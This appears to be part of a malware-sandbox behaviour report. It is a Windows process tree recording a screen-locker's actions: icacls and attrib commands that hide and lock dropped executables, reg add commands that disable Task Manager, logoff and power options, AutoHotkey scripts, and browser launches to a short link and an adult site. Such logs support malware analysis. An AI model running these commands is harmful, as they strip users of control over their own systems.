                                                                  icacls "C:\ProgramData/conhost.exe" /inheritance:r /grant:r Admin:RX /deny Admin:(DE,WO,WDAC)
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:2064
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/Anydesk.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:5220
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/anydesk.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:4832
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/anydesk.exe" /inheritance:r /grant:r SYSTEM:RX /deny SYSTEM:(DE,WO,WDAC))
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:4196
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/svchost.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:5832
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/svchost.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:3792
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/svchost.exe" /inheritance:r /grant:r SYSTEM:RX /deny SYSTEM:(DE,WO,WDAC)
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:3336
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/conhost.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:2720
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/conhost.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5284
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/conhost.exe" /inheritance:r /grant:r SYSTEM:RX /deny SYSTEM:(DE,WO,WDAC)
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:2512
                                                                • C:\Windows\system32\attrib.exe
                                                                  attrib +r +s "C:\ProgramData/stn.exe"
                                                                  6⤵
                                                                  • Views/modifies file attributes
                                                                  PID:1880
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/stn.exe" /setowner "SYSTEM"
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5672
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\ProgramData/stn.exe" /inheritance:r /grant:r SYSTEM:RX /deny SYSTEM:(DE,WO,WDAC)
                                                                  6⤵
                                                                  • Possible privilege escalation attempt
                                                                  • Modifies file permissions
                                                                  PID:1012
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://ctt.ac/Y6e79
                                                              4⤵
                                                                PID:5980
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9cc5346f8,0x7ff9cc534708,0x7ff9cc534718
                                                                  5⤵
                                                                    PID:5992
                                                                • C:\Program Files\VideoLAN\VLC\vlc.exe
                                                                  "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Roaming\enc1.mp3"
                                                                  4⤵
                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  • Suspicious use of FindShellTrayWindow
                                                                  • Suspicious use of SendNotifyMessage
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:5184
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://spankbang.com/tv/?station=hypno+joi
                                                                  4⤵
                                                                    PID:5756
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9cc5346f8,0x7ff9cc534708,0x7ff9cc534718
                                                                      5⤵
                                                                        PID:5796
                                                                    • C:\Users\Admin\AppData\Roaming\locked.exe
                                                                      "C:\Users\Admin\AppData\Roaming\locked.exe"
                                                                      4⤵
                                                                      • Checks computer location settings
                                                                      • Executes dropped EXE
                                                                      PID:5832
                                                                      • C:\Windows\system32\cmd.exe
                                                                        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\86DE.tmp\86DF.tmp\86E0.bat C:\Users\Admin\AppData\Roaming\locked.exe"
                                                                        5⤵
                                                                          PID:5272
                                                                          • C:\Windows\system32\reg.exe
                                                                            REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                                            6⤵
                                                                            • Modifies registry key
                                                                            PID:5288
                                                                          • C:\Windows\system32\reg.exe
                                                                            REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
                                                                            6⤵
                                                                            • Modifies registry key
                                                                            PID:5196
                                                                          • C:\Windows\system32\reg.exe
                                                                            REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
                                                                            6⤵
                                                                            • Modifies registry key
                                                                            PID:5172
                                                                          • C:\Windows\system32\reg.exe
                                                                            REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
                                                                            6⤵
                                                                            • Modifies registry key
                                                                            PID:5224
                                                                          • C:\Windows\system32\reg.exe
                                                                            REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
                                                                            6⤵
                                                                            • Modifies registry key
                                                                            PID:3204
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown /v value /t REG_DWORD /d 1 /f
                                                                            6⤵
                                                                              PID:1984
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideHibernate /v value /t REG_DWORD /d 1 /f
                                                                              6⤵
                                                                                PID:4984
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideLock /v value /t REG_DWORD /d 1 /f
                                                                                6⤵
                                                                                  PID:5748
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HidePowerButton /v value /t REG_DWORD /d 1 /f
                                                                                  6⤵
                                                                                    PID:5856
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart /v value /t REG_DWORD /d 1 /f
                                                                                    6⤵
                                                                                      PID:6120
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep /v value /t REG_DWORD /d 1 /f
                                                                                      6⤵
                                                                                        PID:5244
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSwitchAccount /v value /t REG_DWORD /d 1 /f
                                                                                        6⤵
                                                                                          PID:4780
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOut /v value /t REG_DWORD /d 1 /f
                                                                                          6⤵
                                                                                            PID:2296
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HidePowerOptions /t REG_DWORD /d 1 /f
                                                                                            6⤵
                                                                                              PID:5504
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
                                                                                              6⤵
                                                                                                PID:5212
                                                                                              • C:\Users\Admin\AppData\Roaming\AutoHotkeyU64.exe
                                                                                                C:\Users\Admin\AppData\Roaming/AutoHotkeyU64.exe C:\Users\Admin\AppData\Roaming/doorbell2.ahk
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                PID:2700
                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                timeout /t 5 /nobreak
                                                                                                6⤵
                                                                                                • Delays execution with timeout.exe
                                                                                                PID:5664
                                                                                              • C:\Users\Admin\AppData\Roaming\AutoHotkeyU64.exe
                                                                                                C:\Users\Admin\AppData\Roaming/AutoHotkeyU64.exe C:\Users\Admin\AppData\Roaming/doorbell.ahk
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:6084
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3112 /prefetch:1
                                                                                        2⤵
                                                                                          PID:6060
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6432 /prefetch:1
                                                                                          2⤵
                                                                                            PID:5224
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6064 /prefetch:1
                                                                                            2⤵
                                                                                              PID:5280
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6764 /prefetch:1
                                                                                              2⤵
                                                                                                PID:5164
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6052 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:5728
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3544 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:5824
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5476 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:224
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5416 /prefetch:1
                                                                                                      2⤵
                                                                                                        PID:3172
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2084 /prefetch:1
                                                                                                        2⤵
                                                                                                          PID:5296
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7176 /prefetch:1
                                                                                                          2⤵
                                                                                                            PID:3932
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4236 /prefetch:2
                                                                                                            2⤵
                                                                                                              PID:2296
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7404 /prefetch:1
                                                                                                              2⤵
                                                                                                                PID:768
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7288 /prefetch:1
                                                                                                                2⤵
                                                                                                                  PID:1072
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7848 /prefetch:1
                                                                                                                  2⤵
                                                                                                                    PID:1860
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7872 /prefetch:1
                                                                                                                    2⤵
                                                                                                                      PID:6056
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6860 /prefetch:1
                                                                                                                      2⤵
                                                                                                                        PID:6004
                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6948 /prefetch:1
                                                                                                                        2⤵
                                                                                                                          PID:4732
                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4244 /prefetch:1
                                                                                                                          2⤵
                                                                                                                            PID:5924
                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5876 /prefetch:1
                                                                                                                            2⤵
                                                                                                                              PID:4596
                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7984 /prefetch:1
                                                                                                                              2⤵
                                                                                                                                PID:708
                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6044 /prefetch:1
                                                                                                                                2⤵
                                                                                                                                  PID:448
                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7068 /prefetch:1
                                                                                                                                  2⤵
                                                                                                                                    PID:4040
                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8124 /prefetch:1
                                                                                                                                    2⤵
                                                                                                                                      PID:5336
                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7356 /prefetch:1
                                                                                                                                      2⤵
                                                                                                                                        PID:4900
                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7868 /prefetch:1
                                                                                                                                        2⤵
                                                                                                                                          PID:2872
                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5792 /prefetch:1
                                                                                                                                          2⤵
                                                                                                                                            PID:5288
                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5996 /prefetch:1
                                                                                                                                            2⤵
                                                                                                                                              PID:5684
                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3996 /prefetch:1
                                                                                                                                              2⤵
                                                                                                                                                PID:1612
                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6244 /prefetch:1
                                                                                                                                                2⤵
                                                                                                                                                  PID:4184
                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7696 /prefetch:1
                                                                                                                                                  2⤵
                                                                                                                                                    PID:5912
                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7284 /prefetch:1
                                                                                                                                                    2⤵
                                                                                                                                                      PID:4704
                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8356 /prefetch:1
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1968
                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8444 /prefetch:1
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1196
                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7540 /prefetch:1
                                                                                                                                                          2⤵
                                                                                                                                                            PID:4664
                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10294787617522047853,18257860882984260744,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4228 /prefetch:1
                                                                                                                                                            2⤵
                                                                                                                                                              PID:5768
                                                                                                                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                            1⤵
                                                                                                                                                              PID:4816
